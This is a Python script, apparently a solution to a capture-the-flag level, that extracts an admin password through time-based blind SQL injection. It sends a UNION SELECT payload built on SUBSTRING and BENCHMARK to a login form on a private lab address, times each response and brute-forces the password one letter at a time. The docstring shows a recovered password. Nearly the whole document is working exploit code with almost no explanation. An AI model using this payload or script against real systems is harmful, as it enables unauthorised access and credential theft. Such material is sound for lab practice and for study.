using the benchmark sql function to blindly find the right password

blind_injection_sqli9

#!/usr/bin/env python
# -*- coding: utf-8 -*-


"""
$ ./sqli9_bf.py
The password is 'bfmoisitupeux'

"""

from lxml import html
import re
import requests


ALPHABET = 'abcdefghijklmnopqrstuvwxyz'

URL = 'http://172.28.128.3:8008/validate.php'

QUERY = lambda idx, c: """
' union select null, if(substring(password,{},1) = CHAR({}),
BENCHMARK(1000000,MD5(CHAR(1))),null)
FROM table_membres where user_name='admin""".format(idx, ord(c))

XPATH_TIME = '//b[contains(text(), "Temps d\'execution")]/..'
RE_TIME = re.compile("(\d+.\d+)")


def main():
    password = ''
    s = requests.Session()
    keep_looping = True
    while keep_looping:
        for c in ALPHABET:
            payload = {
                'user_name': QUERY(len(password) + 1, c),
                'password': ''.join([password, c]),
            }
            page = s.post(URL, data=payload)
            tree = html.fromstring(page.text)
            result = RE_TIME.findall(tree.xpath(XPATH_TIME)[0].text_content())
            time = float(result[0]) if result else 0

            if time > 0.25 and time < 1:
                # Benchmark executed, we got the right letter.
                password += c
                break
        else:
            print("The password is '{}'".format(password))
            keep_looping = False
            break


if __name__ == '__main__':
    main()